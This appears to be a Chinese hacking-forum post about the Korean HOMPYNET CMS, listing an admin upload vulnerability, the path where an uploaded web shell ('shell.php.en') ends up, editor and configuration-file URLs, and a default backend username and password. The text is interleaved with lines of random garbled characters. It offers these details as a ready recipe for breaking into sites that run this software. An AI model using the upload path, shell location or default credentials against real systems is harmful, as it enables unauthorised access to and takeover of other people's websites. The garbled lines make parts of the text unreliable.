韩国HOMPYNET CMS漏洞

admin

上传漏洞  :

" L- P+ \2 {! O; |( p0 ^http://www.xxx.com/admin/image_a ... p;iname=&iform=
' ?6 V! A1 H. n* `0 `; Z) O; i
( e1 V% |, {$ `* U! Nhttp://www.xxx.com/admin/image_a ... p;iname=&iform=

' N* y8 j9 g# u5 }上传后路径：
2 a# z* P: W2 m2 m6 w; ]4 b! |
http://www.xxx.com/bis_web_page/images/shell.php.en
& @& X8 X- D) v8 Q& M9 M
编辑器：
0 P1 x/ A- A* P3 `* O
http://www.xxx.com/admin/editor/SWE.php
5 I# Q3 U6 b0 N4 N
! A' D4 ]; ?# }# r: }- Q; _http://www.xxx.com/program/editor/SWE.php

8 d1 F: f: U1 p- z, Q数据配置文件路径：
& {$ y" d# \$ Y: G7 d
( U. }0 d+ v0 M  J2 K  fhttp://www.xxx.com/m_config/DATA/g_setting.php

8 o% [- C: |) ^$ M1 g* u: d6 h此程序通用后台账号 ：gamsiw  php99
  ?! M2 D6 g5 c# q" d
, @" \( u- I0 i3 W& U. p​
1 P! i- d. Z8 L+ F) g: M
+ Q* m2 S/ V) ]% q$ K